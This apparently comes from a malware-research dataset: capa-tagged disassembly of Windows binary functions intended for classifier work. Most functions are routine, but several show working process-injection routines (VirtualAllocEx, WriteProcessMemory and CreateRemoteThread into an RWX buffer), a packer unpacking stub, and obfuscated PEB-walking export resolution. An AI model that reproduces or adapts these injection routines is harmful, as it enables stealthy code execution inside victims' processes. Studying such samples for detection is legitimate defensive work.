joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011280
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x1400118d0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x9d0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x9f8]
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x988], rax
lea rcx, [0x1400240b1]
call fcn.14001138e
nop
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
cmp dword [rbp + 0x9b0], 2
jge 0x140011982
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x9b8]
mov r8, qword [rcx + rax]
mov rdx, qword [0x14001f008]
lea rcx, str._s_usage:__s__PID_
call fcn.1400111a4
nop
mov eax, 1
jmp 0x140011b34
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x9b8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 0x24], eax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.OpenProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa8], rax
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.VirtualAllocEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.WriteProcessMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xe8], rax
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.CreateRemoteThreadEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x130]
lea rcx, [0x14001adb0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x50b
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0x658], 0x50b
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x678], rax
mov r8d, dword [rbp + 0x24]
xor edx, edx
mov ecx, 0x1fffff
call qword [rbp + 0xa8]
mov qword [rbp + 0x68], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, qword [rbp + 0x658]
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0xc8]
mov qword [rbp + 8], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x658]
lea r8, [rbp + 0x130]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0xe8]
nop
lea rax, [rbp + 0x44]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0x108]
mov qword [rbp + 0x88], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ace0]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x988]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x990]
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001128a
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014520
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014540
xor al, al
jmp 0x1400145c1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014553
xor al, al
jmp 0x1400145c1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001457d
xor al, al
jmp 0x1400145c1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014591
xor al, al
jmp 0x1400145c1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400145a3
xor al, al
jmp 0x1400145c1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400145bf
xor al, al
jmp 0x1400145c1
mov al, 1
add rsp, 0x38
ret
Function at 0x140012410
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113b6
movzx eax, al
test eax, eax
jne 0x140012430
mov ecx, 7
call fcn.14001132f
nop
mov byte [rsp + 0x20], 0
call fcn.140011343
mov byte [rsp + 0x21], al
cmp dword [0x14001f8a8], 1
jne 0x140012454
mov ecx, 7
call fcn.14001132f
nop
jmp 0x1400124ac
cmp dword [0x14001f8a8], 0
jne 0x1400124a7
mov dword [0x14001f8a8], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111a9
test eax, eax
je 0x140012488
mov eax, 0xff
jmp 0x1400125b1
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011339
mov dword [0x14001f8a8], 2
jmp 0x1400124ac
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001131b
call fcn.1400112b2
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012509
mov rcx, qword [rsp + 0x30]
call fcn.14001115e
movzx eax, al
test eax, eax
je 0x140012509
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140025020]
nop
call fcn.1400112e4
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001253d
mov rcx, qword [rsp + 0x38]
call fcn.14001115e
movzx eax, al
test eax, eax
je 0x14001253d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011375
nop
call fcn.140012660
mov dword [rsp + 0x28], eax
call fcn.14001128a
movzx eax, al
test eax, eax
jne 0x14001255c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001256b
call fcn.14001137f
nop
xor edx, edx
mov cl, 1
call fcn.14001114f
mov eax, dword [rsp + 0x28]
jmp 0x1400125b1
add rsp, 0x68
ret
Function at 0x140092100
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14009210d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14009211d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140092105
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140092135
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140092122
sub eax, 3
jb 0x14009214f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140092186
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140092176
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140092174
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140092163
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.1400920c2
jmp 0x14009210d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1800
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400921d2
cmp rsi, rcx
jae 0x1400921da
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400921b9
cmp al, 0x8f
ja 0x1400921b9
cmp byte [rsi - 2], 0xf
je 0x1400921bf
sub al, 0xe8
cmp al, 1
ja 0x1400921a3
cmp rsi, rcx
jae 0x1400921da
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400921a9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400921da
lodsb al, byte [rsi]
jmp 0x1400921b9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x90000]
mov eax, dword [rdi]
or eax, eax
je 0x140092237
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x97a80]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400921e7
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140092231
mov qword [rbx], rax
add rbx, 8
jmp 0x140092207
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140092271
cmp al, 0xef
ja 0x140092263
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140092243
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140092252
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400922c5
sub rsp, 0xffffffffffffff80
jmp 0x140001a20
Function at 0x14013109c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov byte [rbp + rax - 0x44], r13b
jne 0x1401310bb
je 0x1401310bb
push rdx
pushf
xor esi, 0xb8b79590
jmp rcx
jmp 0x14013110a
inc rax
cmp rax, 0x43
jb 0x140131095
xchg r12, rax
mov r12, r13
xchg r12, rax
jmp 0x140131380
xchg r9, r11
mov r11, qword [rcx + 0x30]
xchg r11, r9
mov rax, qword gs:[0x60]
lea rdi, [0x140000000]
movsxd r15, dword [0x14000003c]
mov r8d, r13d
add r15, rdi
xchg r12, rcx
je 0x140131235
jne 0x140131235
lea r9d, [rbp + 0x5cd7]
syscall
jmp 0x1401313e1
mov byte [rsp + rax + 0x68], r13b
inc rax
cmp rax, 0xf
jb 0x140131380
jne 0x1401313cd
je 0x1401313cd
pushf
test edx, 0x2acc5622
jmp rax
jmp 0x1401311d7
mov r12, qword [rax + 0x18]
xchg r12, rcx
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
jmp 0x140131134
Function at 0x180001110
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov r8d, 0x20
lea rdx, [0x180022560]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x180001147
lea rcx, [0x180022560]
call fcn.18000741c
mov dword [rsp + 0x20], eax
jmp 0x18000114f
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x180001160
Capabilities:
Query environment variable

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov r8d, 0x20
lea rdx, [0x180022580]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x18000119b
lea rcx, [0x180022580]
call fcn.18000741c
mov dword [rsp + 0x20], eax
jmp 0x1800011a3
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x1800029a0
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x188
mov rax, qword [0x180021b00]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x30], eax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x1800029e8
jmp 0x180002a40
mov r8d, 0x130
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.1800134b0
mov dword [rsp + 0x40], 0x130
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x180002a19
jmp 0x180002a40
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 0x48], eax
jne 0x180002a2d
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x20], eax
jmp 0x180002a40
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x180002a19
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x180002a53
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.180003550
add rsp, 0x188
ret
Function at 0x180002a80
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x180021b00]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov dword [rsp + 0x30], 0
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0xffffffffffffffff
jne 0x180002ac4
jmp 0x180002c4f
mov r8d, 0x130
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.1800134b0
mov dword [rsp + 0x70], 0x130
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x180002afb
jmp 0x180002c4f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea rdx, [0x1800166a8]
lea rcx, [rsp + 0x9c]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x180002c38
mov r8d, dword [rsp + 0x78]
mov edx, 1
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [rsp + 0x1ac]
movzx ecx, word [rsp + 0x1bc]
cmp eax, ecx
jne 0x180002c38
movzx eax, word [rsp + 0x1aa]
movzx ecx, word [rsp + 0x1ba]
cmp eax, ecx
jne 0x180002c38
movzx eax, word [rsp + 0x1a8]
movzx ecx, word [rsp + 0x1b8]
cmp eax, ecx
jne 0x180002c38
movzx eax, word [rsp + 0x1a6]
movzx ecx, word [rsp + 0x1b6]
cmp eax, ecx
jne 0x180002c38
movzx eax, word [rsp + 0x1a2]
movzx ecx, word [rsp + 0x1b2]
cmp eax, ecx
jne 0x180002c38
movzx eax, word [rsp + 0x1a0]
movzx ecx, word [rsp + 0x1b0]
cmp eax, ecx
jne 0x180002c38
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x30], eax
jmp 0x180002c4f
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x180002b3d
cmp qword [rsp + 0x38], 0xffffffffffffffff
je 0x180002c62
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180003550
add rsp, 0x1d8
ret
Function at 0x180002c90
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x198
mov rax, qword [0x180021b00]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x50], 0
lea r8, [rsp + 0x50]
lea rdx, [fcn.1800029a0]
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
mov r8d, 0x104
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x180002cec
jmp 0x180002de3
mov r8d, dword [rsp + 0x1a0]
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
movsxd rax, dword [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x1800166b8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x60], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.180003550
add rsp, 0x198
ret

Function at 0x180002e10
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x180001fe0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180013270
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180013298
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180013298
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x18000e570
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x18000e5d1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x18000e590
mov ecx, dword [r9]
jmp 0x18000e6bb
cmp ecx, 0x4e0
jb 0x18000e6bb
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x18000e5f0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x18000e640
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140005a37
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140013040]
jne 0x140004b7a
rol rcx, 0x10
test cx, 0xffff
jne 0x140004b76
repz ret
ror rcx, 0x10
jmp 0x140005990
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140014260]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140014358]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140005a15
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140014260]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140005a37
mov rax, qword [rsp + 0x88]
mov qword [0x140014358], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400142f8], rax
mov rax, qword [0x140014358]
mov qword [0x1400141d0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400142e0], rax
mov dword [0x1400141c0], 0xc0000409
mov dword [0x1400141c4], 1
mov rax, qword [0x140013040]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140013048]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140014258], eax
mov ecx, 1
call fcn.140006300
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000e2c8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140014258], 0
jne 0x140005abe
mov ecx, 1
call fcn.140006300
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140044b50]
mov dword [rax], 1
mov rax, qword [0x140044b60]
mov dword [rax], 1
mov rax, qword [0x140044b70]
mov dword [rax], 1
mov rax, qword [0x140044b00]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400221e0
Capabilities:
Query environment variable

Disassembly:
push rsi
mov eax, 0x10078
push rbx
call fcn.140028ff0
sub rsp, rax
xor eax, eax
xor edx, edx
lea rbx, [rsp + 0x20]
lea rsi, [rsp + 0x70]
mov word [rsp + 0x70], ax
mov rcx, rbx
mov word [rsp + 0x20], dx
call fcn.140022110
mov rdx, rsi
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x140022236
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add rsp, 0x10078
pop rbx
pop rsi
ret